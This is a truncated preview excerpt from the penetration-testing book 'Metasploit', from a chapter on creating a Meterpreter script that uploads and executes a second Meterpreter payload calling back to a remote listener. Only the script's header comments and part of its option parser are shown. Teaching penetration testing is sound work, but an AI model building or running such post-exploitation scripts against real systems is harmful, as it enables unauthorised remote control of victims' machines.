O'Reilly logo

Metasploit by Mati Aharoni, Devon Kearns, Jim O'Gorman, David Kennedy

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

Creating Your Own Meterpreter Script

Open up your favorite editor and create a new file called execute_upload.rb, located in scripts/meterpreter/. We’ll start by adding comments to the top of the file to let everyone know the purpose of this script and to define our options for the script:

# Meterpreter script for uploading and executing another meterpreter exe

info = "Simple script for uploading and executing an additional meterpreter payload"

# Options

opts = Rex::Parser::Arguments.new(
        "-h"  => [ false,
   "This help menu. Spawn a meterpreter shell by
 uploading and               executing."],
        "-r" => [ true, "The IP of a remote Metasploit listening for the connect ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required